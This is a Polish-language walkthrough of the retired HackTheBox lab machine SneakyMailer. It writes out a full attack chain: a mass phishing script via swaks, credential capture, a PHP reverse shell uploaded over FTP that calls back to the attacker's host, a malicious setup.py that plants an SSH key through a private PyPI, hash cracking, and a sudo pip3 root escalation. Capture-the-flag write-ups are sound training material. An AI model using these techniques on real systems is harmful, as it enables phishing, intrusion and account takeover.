Writeup: Maszyna HackTheBox SneakyMailer

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Sneakymailer - spełnia ten warunek.

Machine Info

1. TLDR

SneakyMailer graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.197

3. Skanowanie i rozpoznanie

Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-08 18:07 CET
Nmap scan report for 10.10.10.197
Host is up (0.046s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES IMAP4rev1 OK NAMESPACE CHILDREN IDLE ENABLE ACL QUOTA UTF8=ACCEPTA0001 STARTTLS SORT completed CAPABILITY UIDPLUS THREAD=ORDEREDSUBJECT ACL2=UNION
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES IMAP4rev1 OK NAMESPACE CHILDREN IDLE ENABLE ACL AUTH=PLAIN QUOTA UTF8=ACCEPTA0001 SORT completed CAPABILITY UIDPLUS THREAD=ORDEREDSUBJECT ACL2=UNION
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.30 seconds

Zainteresowała mnie usługa http uruchomiona na porcie 8080. Uruchomiłem więc narzędzie gobuster:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://$IP:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.197:8080
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/08 18:38:11 Starting gobuster
===============================================================
Error: error on running goubster: unable to connect to http://10.10.10.197:8080/: Get http://10.10.10.197:8080/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

Gobuster zwrócił błąd. Pomyślałem, że warto może uruchomić to narzędzie ponownie, ale z ustawiony User-Agentem, który odpowiadałby istniejącej przeglądarce. Niestety nie zostały zwrócone żadne istotne wyniki:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://$IP:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -a "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36" | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.197:8080
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
[+] Timeout:        10s
===============================================================
2020/11/08 18:55:54 Starting gobuster
===============================================================
===============================================================
2020/11/08 19:28:50 Finished
===============================================================

Na porcie 80 była uruchomiona również usługa http. Po wejściu na stronę następowało natychmiastowo przekierowanie na stronę http://sneakycorp.htb:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl -I  $IP
HTTP/1.1 301 Moved Permanently
Server: nginx/1.14.2
Date: Sun, 08 Nov 2020 21:31:04 GMT
Content-Type: text/html
Content-Length: 185
Connection: keep-alive
Location: http://sneakycorp.htb

Dodałem zatem do /etc/hosts wpis:

10.10.10.197	sneakycorp.htb

Pod adresem http://sneakycorp.htb znajdowała się strona organizacji:

Website

Uruchomiłem więc narzędzie gobuster:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://sneakycorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/02-sneakycorp.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/11/08 22:42:51 Starting gobuster
===============================================================
/img (Status: 301)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)

oraz w międzyczasie przejrzałem źródło strony i trafiłem na wzmiankę o zasobie http://sneakycorp.htb/pypi/register.php:

Commented Register

Po raz kolejny wystartował gobuster:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://sneakycorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt | tee gobuster/03-sneakycorp-php.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,htm,txt
[+] Timeout:        10s
===============================================================
2020/11/08 23:30:15 Starting gobuster
===============================================================
/index.php (Status: 200)
/img (Status: 301)
/css (Status: 301)
/team.php (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
/pypi (Status: 301)
===============================================================
2020/11/09 00:47:19 Finished
===============================================================

Uruchomiłem również gobustera w celu znalezienia pozostałych zasobów w /pypi. Niestety bez sukcesu:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $gobuster dir -u http://sneakycorp.htb/pypi -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,txt | tee gobuster/04-pypi.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb/pypi
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,htm,txt
[+] Timeout:        10s
===============================================================
2020/11/13 13:25:11 Starting gobuster
===============================================================
/register.php (Status: 200)

4. Uzyskanie dostępu do IMAP

Nazwa zadania SneakyMailer sugerowała możliwość eksploitacji usługi pocztowej. Ani metasploit ani searchsploit nie podsunęły żadnych istotnych możliwości na tym etapie. Zastanowiłem się czy nie istnieje możliwość phishingu. Jeżeli tak by było, to automat udający zachowanie użytkownika powinien wejść w dowolny link przesłany przez atakującego.

Na podstronie team.php znajdowała się tabela zawierająca dane 57 użytkowników, w tym adresy email.

Website Team

Dodałem zatem do /etc/hosts wpis:

10.10.10.197    sneakymailer.htb

Zapisałem wszystkie adresy email do pliku emails.txt

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://sneakycorp.htb/team.php | grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" > emails.txt
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $wc -l emails.txt 
57 emails.txt

W pliku zapisanych zostało 57 adresów email.

Wykorzystując narzędzie Swaks aka Swiss Army Knife for SMTP napisałem skrypt, który wysyła pod wsakzany adres wiadomość email zawierającą link do strony:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat ./send_emails.sh 
#! /bin/sh

if [ $# -ne 2 ]; then
  echo "Usage: send_emails.sh [server] [lhost] < emails.txt"
  exit 1
fi

server=$1
lhost=$2

while read email
do
  swaks --to $email --server $server --body http://$lhost
done

Następnie uruchomiłem nasłuch na porcie 80:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $sudo nc -nvlp 80

i uruchomiłem skrypt:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat emails.txt | ./send_emails.sh sneakycorp.htb 10.10.15.25

Po zrobieniu sobie herbaty, w terminalu z netcatem pojawił się request:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $sudo nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.15.25] from (UNKNOWN) [10.10.10.197] 53078
POST / HTTP/1.1
Host: 10.10.15.25
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Po zdekodowaniu URL w CyberChef

CyberChef URL Decode

…wiadomo już było, że przesłane dane to:

firstName=Paul
lastName=Byrd
email=paulbyrd@sneakymailer.htb
password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Ujawnione zostały zatem dane uwierzytelniające paulbyrd@sneakymailer.htb:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Przygotowałem plik konfiguracyjny klienta pocztowego:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat ~/.muttrc
set folder      ='imaps://paulbyrd@sneakymailer.htb:993/*'
set imap_user   = 'paulbyrd'
set imap_pass   = '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'

a następnie podłączyłem się do usługi IMAP:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $mutt -R

5. Uzyskanie dostępu do FTP

W katalogu INBOX.Sent Items znajdowały się dwie wiadomości:

Mailbox content

W jednej z nich znajdował się zestaw danych uwierzytelniających developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C :

Mailbox password reset

W drugiej wiadomości była informacja o testach usługi PyPI:

Mailbox module testing

Spróbowałem podłączyć się do IMAP oraz SSH wykorzystując nowy zestaw danych, niestety bez sukcesów. Udało się jednak podłączyć do usługi FTP:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:t4wny0wl): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,10,197,230,70).
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Nov 13 12:01 dev
226 Directory send OK.
ftp> quit
221 Goodbye.

Pobrałem zatem zawartość katalogu dev:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $wget -r ftp://developer@sneakycorp.htb --password='m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C'

W ten sposób pobrałem źródła strony.

6. Uzyskanie dostępu do powłoki systemowej

Przeglądając źródła strony w celu ujawnienia podatności, pozostawionych komentarzy, haseł itp. natrafiłem na fragment:

source dev

Nie kojarzyłem bezpośrednich wzmianek o wersji deweloperskiej portalu, ale… może czegoś nie dostrzegłem?

Odpytałem zatem serwer o widoczny fragment:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://sneakycorp.htb | grep -i 'Sidebar - Brand' -A10
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0      <!-- Sidebar - Brand -->
      <a class="sidebar-brand d-flex align-items-center justify-content-center" href="index.php">
        <div class="sidebar-brand-icon rotate-n-15">
          <i class="fas fa-laugh-wink"></i>
        </div>
        <div class="sidebar-brand-text mx-3">Sneaky Corp</div>
      </a>

      <!-- Divider -->
      <hr class="sidebar-divider my-0">

100 13543    0 13543    0     0   110k      0 --:--:-- --:--:-- --:--:--  110k

Fragment różnił się od tego ze źródeł o zapis o wersji deweloperskiej portalu. Były więc dwa warianty: albo mam źródła starej wersji portalu, albo… istnieje równolegle wersja deweloperska.

Dodałem kolejny rekord do /etc/hosts:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	whitehatlab
10.10.10.197    sneakycorp.htb dev.sneakycorp.htb
10.10.10.197    sneakymailer.htb

i spróbowałem wejść na stronę http://dev.sneakycorp.htb . Faktycznie, na serwerze działały minimum dwie wersje tej samej strony:

Dev website

Postanowiłem sprawdzić czy wersja deweloperska działa bezpośrednio z zasobu udostępnianego przez FTP.

Przesłałem zatem testowy plik na serwer…

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $echo '<?php echo "test" ?>'>74wny0wl.php
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:t4wny0wl): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> cd ./dev
250 Directory successfully changed.
ftp> put 74wny0wl.php
local: 74wny0wl.php remote: 74wny0wl.php
227 Entering Passive Mode (10,10,10,197,169,167).
150 Ok to send data.
226 Transfer complete.
22 bytes sent in 0.00 secs (596.7881 kB/s)
ftp> quit
221 Goodbye.

i spróbowałem przesłać zapytanie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://dev.sneakycorp.htb/74wny0wl.php
test

Kontrolowałem zatem pliki znajdujące się na serwerze www. Pozostało zatem przesłać reverse shell.

W pierwszej kolejności przygotowałem reverse shell:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cp /usr/share/webshells/php/php-reverse-shell.php 74wny0wl.php

i ustawiłem kontrolowany adres i port:

$ip = '10.10.15.25';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

Następnie przesłałem plik na serwer:

ftp> put 74wny0wl.php
local: 74wny0wl.php remote: 74wny0wl.php
227 Entering Passive Mode (10,10,10,197,216,55).
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.00 secs (67.1607 MB/s)

Uruchomiłem netcata:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

oraz przesłałem zapytanie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $curl http://dev.sneakycorp.htb/74wny0wl.php

Uzyskałem dostęp do shella:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.15.25] from (UNKNOWN) [10.10.10.197] 38728
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 13:34:42 up  4:50,  0 users,  load average: 0.01, 0.04, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

i od razu po połączeniu go ustabilizowałem:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

Posiadałem uprawnienia użytkownika www-data:

www-data@sneakymailer:/$ whoami
www-data

7. Eskalacja uprawnień: www-data ⇨ low

Pobrałem na maszynę narzędzie linpeas.sh i od razu je uruchomiłem:

www-data@sneakymailer:/dev/shm$ wget http://10.10.15.25/linpeas.sh
--2020-11-13 13:39:41--  http://10.10.15.25/linpeas.sh
Connecting to 10.10.15.25:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 228272 (223K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 222.92K   866KB/s    in 0.3s    

2020-11-13 13:39:41 (866 KB/s) - 'linpeas.sh' saved [228272/228272]

www-data@sneakymailer:/dev/shm$ chmod +x linpeas.sh 
www-data@sneakymailer:/dev/shm$ ./linpeas.sh

Na standardowym wyjściu pojawiła się informacja o:

[+] Sudo version
Sudo version 1.8.27
low       1098  0.0  0.5 103788 21440 ?        Ss   14:29   0:04 /home/low/venv/bin/python /opt/scripts/low/install-modules.py
/var/www/pypi.sneakycorp.htb/.htpasswd:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $cat /etc/hosts
10.10.10.197    sneakycorp.htb dev.sneakycorp.htb pypi.sneakycorp.htb
10.10.10.197    sneakymailer.htb

Przystąpiłem następnie do łamania hasła:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $echo '$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/' > apache_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer]
└──╼ $hashcat -a 0 -m 1600 apache_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable
hashcat (v6.1.1) starting...

Po krótkim czasie byłem w posiadaniu kolejnego hasła:

soufianeelhaoui

Problem w tym, że nie wiedziełem czyjego. Odczytałem zatem /etc/passwd. Na liście znajdowało się kilku interesujących użytkowników:

www-data@sneakymailer:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
low:x:1000:1000:,,,:/home/low:/bin/bash
...
postfix:x:108:116::/var/spool/postfix:/usr/sbin/nologin
courier:x:109:118::/var/lib/courier:/usr/sbin/nologin
vmail:x:5000:5000::/home/vmail:/usr/sbin/nologin
developer:x:1001:1001:,,,:/var/www/dev.sneakycorp.htb:/bin/bash
pypi:x:998:998::/var/www/pypi.sneakycorp.htb:/usr/sbin/nologin
www-data@sneakymailer:/dev/shm$ 

Plik .htpasswd zawierający hash znajdował się w w katalogu /var/www/pypi.sneakycorp.htb, który był katalogiem użytkownika pypi. Zatem użyłem pary pypi:soufianeelhaoui w celu uwierzytelnienia się jako użytkownik pypi…

www-data@sneakymailer:/dev/shm$ su pypi        
Password: 
su: Authentication failure

…ale próba nie powiodła się. O czym zapomniałem?

Skoro cały czas powtarzał się wątek o usłudze PyPI, gdzie jest ona dostępna? Przeoczyłem port 8080:

Pypi website

Jeżeli python3 może zapisywać dane w katalogu użytkownika low, jest to okazja do dodania klucza ssh.

Przygotowałem plik setup.py :

from setuptools import setup, find_packages

try:
    with open('/home/low/.ssh/authorized_keys','a') as f:
        f.write(r'''ssh-rsa AAAA[...]H7sw== 74wny0wl@protonmail.com''')
except:
    pass

setup(name='74wny0wl',
      version='0.1',
      description='74wny0wl',
      url='https://whitehatlab.eu',
      author='74wny0wl',
      author_email='74wny0wl@protonmail.com',
      license='MIT',
      packages=find_packages())

Istotna jest tutaj obsługa wyjątku. Przy pierwszym uruchomieniu, jako użytkownik www-data nie będę miał uprawnień do dodania klucza. Skrypt ten zostanie jednak uruchomiony ponownie po raz drugi przez skrypt /opt/scripts/low/install-modules.py działajacy na uprawnieniach użytkownika low

Przygotowałem również plik .pypirc:

[distutils]
index-servers = 
    local

[local]
repository= http://pypi.sneakycorp.htb:8080
username=pypi
password=soufianeelhaoui

Następnie udostępniłem te pliki przez serwer http:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer/74wny0wl-pkg]
└──╼ $python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

i pobrałem je na zaatakowaną maszynę:

www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ wget http://10.10.15.25:8080/setup.py
www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ wget http://10.10.15.25:8080/.pypirc.py

Potrzebowałem ustawić jeszcze dwie zmienne środowiskowe:

www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ export PYTHONPATH=/usr/lib/python3/dist-packages/
www-data@sneakymailer:/dev/shm/74wny0wl-pkg$ HOME=$(pwd)

Pozostało uruchomić skrypt instalacyjny:

www-data@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local

Po chwili możliwe było już zalogowanie się jako użytkownik low:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/SneakyMailer/74wny0wl-pkg]
└──╼ $ssh low@sneakycorp.htb
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Fri Nov 13 17:12:52 2020 from 10.10.15.25
low@sneakymailer:~$

Odczytałem flagę:

low@sneakymailer:~$ cat user.txt 
987f1382b2a573e4fa79f8df1551ca0e

8. Eskalacja uprawnień: low ⇨ root

Pozostało skorzystać z podatnej wersji sudo:

low@sneakymailer:~$ sudo -l

sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

Nie mogłem skorzystać z podatności jak w maszynie Blunder , ale mogłem uruchomić pip3 jako root bez uwierzytelniania

Skorzystałem zatem z gtfobins i wykonałem polecenie:

low@sneakymailer:/dev/shm$ TF=$(mktemp -d)
low@sneakymailer:/dev/shm$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:/dev/shm$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.zMvRs2nJM0
# id
uid=0(root) gid=0(root) groups=0(root)

Pozostało odczytać flagę:

# cat ~/root.txt
75ed278b37590fbb44eb16daf772030d

9. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności: